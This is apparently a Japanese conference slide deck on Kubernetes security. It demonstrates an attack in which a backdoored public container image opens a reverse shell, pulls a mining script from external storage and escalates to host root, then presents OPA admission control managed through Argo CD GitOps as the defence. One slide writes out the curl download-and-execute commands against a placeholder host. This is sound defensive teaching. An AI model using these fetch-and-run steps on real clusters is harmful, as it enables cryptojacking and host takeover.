Slide 1

Slide 1 text

© Kazuhiko Tsuji GitOpsで実装するK8sセキュリティ -攻撃者が考えるアタックシナリオとOSSを活⽤した守り⽅- 辻 紀彦 / Kazuhiko Tsuji

Slide 2

Slide 2 text

© Kazuhiko Tsuji ⾃⼰紹介 1 ⽒名 辻 紀彦 / ツジ カズヒコ 所属 株式会社マクニカ ネットワークス カンパニー 業務内容 • クラウドセキュリティリサーチ • クラウドネイティブなテクノロジーを活⽤した顧客対応 • ツール選定 • アーキテクチャデザイン • セキュリティデザイン 保有資格

Slide 3

Slide 3 text

© Kazuhiko Tsuji Kubernetes Security Table of Contents 2 コンテナテクノロジーとセキュリティ 01 02 03 Host OS Container Engine kubelet Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container セキュリティインシデント実演 セキュリティ課題と対策

Slide 4

Slide 4 text

© Kazuhiko Tsuji 本セッションの概要 • 対象者 • コンテナテクノロジー/Kubernetesのセキュリティ運⽤に関⼼のある⽅ • Kubernetesの基本的なオペレーションが理解できる⽅ • セキュリティ運⽤のバリエーションを増やしたい⽅ • ⽬的 • Kubernetesを利⽤する技術者として • コンテナ運⽤のセキュリティリスクを理解する • セキュリティリスクを軽減するために有効な運⽤⼿法を理解する • 留意事項 • 本セッションはサイバー攻撃とその攻撃者を肯定、後援する意図を含みません • 本セッションに含まれる全てのコンテンツは発表者個⼈の⾒解に基づくものであり、所属する企業や組織の⽴ 場、戦略、意⾒を代表するものではありません 3

Slide 5

Slide 5 text

© Kazuhiko Tsuji 4 コンテナテクノロジーとセキュリティ

Slide 6

Slide 6 text

© Kazuhiko Tsuji コンテナテクノロジーと運⽤課題 5 多種多様なコンテナイメージが存在する コンテナ内部の異変に気付きにくい HW コンテナ運⽤の特性 正しい選択が求められる 管理対象の構成コンポーネントが多い 稼働中のコンテナに対してメンテナンスを実⾏しない 管理コスト コンテナイメージからコンテナを⽣成 正しく運⽤するために豊富なナレッジが必要 OS Container runtime Container workload コンテナ運⽤に掛かるコスト マニフェスト 頻繁なアップデート(新機能、仕様刷新) エコシステム 学習コスト HW OS App Container Container Engine Container Container メンテナンス Container orchestrator

Slide 7

Slide 7 text

© Kazuhiko Tsuji コンテナテクノロジーのセキュリティトレンド 6 パブリックなコンテナイメージレポジトリに配置された⾮公式なイメージ Kubernetes: api-server, kubelet, etcd等の脆弱な設定 悪性プロセスを組み込んだコンテナイメージのパブリック共有 コンテナテクノロジーならではの特性を利⽤した攻撃の観測件数が増加 コンテナの遠隔操作 RBACの不適切設定による過剰な権限付与 コンテナプラットフォームの脆弱なコンポーネントをアタックサーフェイスとして利⽤ 資格情報の搾取 侵害範囲の拡張 コンピューティングリソースの盗⽤を⽬的とした攻撃が⼤多数 悪性コンテナのデプロイ コンテナホストの侵害 マイニングプロセスの実⾏ Container image

Slide 8

Slide 8 text

© Kazuhiko Tsuji 7 セキュリティインシデント実演

Slide 9

Slide 9 text

© Kazuhiko Tsuji アタックシナリオ 8 パブリックイメージレジストリ 公式レポジトリ ⾮公式レポジトリ Container image Container image Backdoor Server Listening on XXXXXX Kubernetes Cluster ubuntu01 Host OS Container Engine ubuntu02 ubuntu03 kubelet master worker worker Host OS Container Engine kubelet Host OS Container Engine kubelet Pod Container Pod kube-apiserver Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container Pod Container 01. Reverse Shellを組み込んだコンテナイメージをアップロード 02. ⾮公式レポジトリからイメージをpull & 実⾏ 03. Podの実⾏と同時にBackdoorに対してセッション確⽴ 04. パッケージのインストール(curl) 05. マイニングスクリプトのダウンロード 06. マイニングスクリプトの実⾏ 攻撃者 開発者 07. 侵害済みPodの偵察 08. kubectlのインストール 09. 環境変数の追加 10. 悪性Podのデプロイ 11. 悪性Podのシェルにアクセス 12. ホストOSのLinuxネームスペースにアクセス 13. ホストOSのルート権限獲得 ステップ01 ステップ02 ステップ03 id uid=0(root) gid=0(root) groups=0(root)

Slide 10

Slide 10 text

© Kazuhiko Tsuji インシデント考察 • 何が起こった? • ⾮公式なパブリックレポジトリからコンテナイメージをPullして使⽤した • Podの実⾏と同時にコンテナ内部からBackdoorサーバに対してセッションが確⽴された • 攻撃者によりコンテナの遠隔操作が実⾏された • コンテナのコンピューティングリソースを盗⽤され、仮想通貨のマイニングプロセスを実⾏された • 何が問題? • コンテナイメージ • 組織で許可されていない⾮公式なコンテナイメージを使⽤した ルールは存在するが強制する仕組みが存在しない • ランタイム • 攻撃者による脅威オペレーションの実⾏を許した コンテナ内部で発⽣するイベントを監視、制御できる仕組みが存在しない 9

Slide 11

Slide 11 text

© Kazuhiko Tsuji • curlコマンドによるマイニングスクリプトのダウンロード • 外部ストレージへのセッション⽣成 • ファイルシステムへの書き込み アタックシナリオ 10 ステップ01 拡散 準備 実⾏ • パブリックイメージレポジトリでのコンテナイメージの配布 • 脅威プロセスを組み込んだコンテナイメージの拡散 • パッケージマネージャーによるcurlコマンドのインストール • ファイルシステムへの書き込み • マイニングプロセスの実⾏ • 外部ホストへのセッション⽣成 フェーズ 脅威タスク 脅威オペレーション apt install curl -y curl --remote-name-all https://<外部ストレージ>/{entrypoint.sh,pause} sh entrypoint.sh Reverse ShellによりBackdoorに対してセッションが確⽴ (開発者)Podのデプロイ時に⾮公式なコンテナイメージをPull セキュリティ課題 ハイリスクなコンテナイメージの使⽤

Slide 12

Slide 12 text

© Kazuhiko Tsuji 11 セキュリティ課題と対策

Slide 13

Slide 13 text

© Kazuhiko Tsuji セキュリティ課題: ハイリスクなコンテナイメージの使⽤ 12 ⾮公式なコンテナイメージの使⽤ kubectl run --image=<⾮公式なコンテナイメージ> 公式レポジトリ以外からのコンテナイメージのPull ⾮公式なコンテナイメージの使⽤により、セキュリティリスクが⾼まる 悪性プロセスが組み込まれているリスクがある 対策 Kubernetes Admission ControllersによるAPIリクエスト検証 OPA - Open Policy Agent: https://github.com/open-policy-agent/opa • Mutation - 編集 逐次処理 (Sequential) • Validation - 監査 並列処理 (Parallel) 効果 使⽤を許可するコンテナイメージのリストをポリシーとして定義 ↓ Pod⽣成のAPIリクエストをValidationにより検証 ↓ コンテナイメージが許可リストに含まれる場合: 作成許可 コンテナイメージが許可リストに含まれない場合: 作成拒否 ↓ 組織で許可されていないコンテナイメージは使⽤できない https://kubernetes.io/blog/2019/03/21/a-guide-to-kubernetes-admission-controllers/#what-are-kubernetes-admission-controllers

Slide 14

Slide 14 text

© Kazuhiko Tsuji セキュリティ課題: ハイリスクなコンテナイメージの使⽤ 13 運⽤課題 • コンテナイメージの許可リストの管理 • 許可リストの更新プロセス (ユーザーからの更新リクエスト、管理者による更新判定) • 許可リストが更新された場合のCustom Resouceの更新 対策 GitOpsによるガバナンス型セキュリティ運⽤ Kubernetes Admission Controllers + Declarative Continuous Delivery Argo CD: https://github.com/argoproj/argo-cd 効果 git上で使⽤を許可するコンテナイメージのリストを管理 • ユーザーからのPull Request • 管理者によるReview & Merge ↓ Argo CDによりOPAのCustom Resourceを⾃動更新 ↓ Pod⽣成のAPIリクエストをValidationにより判定 ↓ 組織で許可されていないコンテナイメージは使⽤できない Single Source of Truth (Git上のデータを信頼できる唯⼀の情報源とする) Allowed Image List レポジトリ Kubernets Cluster ①Pull Request ②Review & Merge ③Sync ④Custom Resourceの更新 ユーザー ⑤APIリクエスト Podの⽣成 ⑥Validationによるコンテナイメージの検証 管理者

Slide 15

Slide 15 text

© Kazuhiko Tsuji <参考情報> Kubernetesのセキュリティ運⽤ 14 必要なセキュリティ機能と適⽤可能なOSS 可視化 ワークロード 種別 対象 機能 コンテナホスト 管理オブジェクトのマッピング ネットワークコネクション・通信ポートの表⽰ メトリクスの表⽰ セキュリティスキャン ランタイム監視 ランタイム防御 コンテナイメージ マニフェスト ワークロード Kubernetes Cluster RBAC プロセス ネットワーク ファイルシステム ポリシー適⽤ マニフェスト 脆弱性の検知 不適切な設定状態の検知 コンプライアンス準拠状況の監査 ランタイムイベントの検知と防御 ガバナンス型ルール準拠 Open Policy Agent Tetragon Falco trivy kube-bench kubesec.io Popeye rbac-police Kiali kube-state-metrics OSS

Slide 16

Slide 16 text

© Kazuhiko Tsuji 15 まとめ

Slide 17

Slide 17 text

© Kazuhiko Tsuji まとめ 16 コンピューティングリソースの盗⽤を⽬的とした攻撃が⼤多数 コンテナテクノロジーならではの特性を利⽤した攻撃の観測件数が増加 コンテナテクノロジーのセキュリティトレンド コンテナの遠隔操作 ハイリスクなコンテナイメージの使⽤ セキュリティインシデントの実演 マイニングプロセスの実⾏ Open Policy Agent セキュリティ課題と対策 Kubernetes Admission ControllersによるAPIリクエスト検証 Argo CD Single Source of Truth (Git上のデータを信頼できる唯⼀の情報源とする) GitOpsによるガバナンス型セキュリティ運⽤

Slide 18

Slide 18 text

© Kazuhiko Tsuji Fin. Thank you!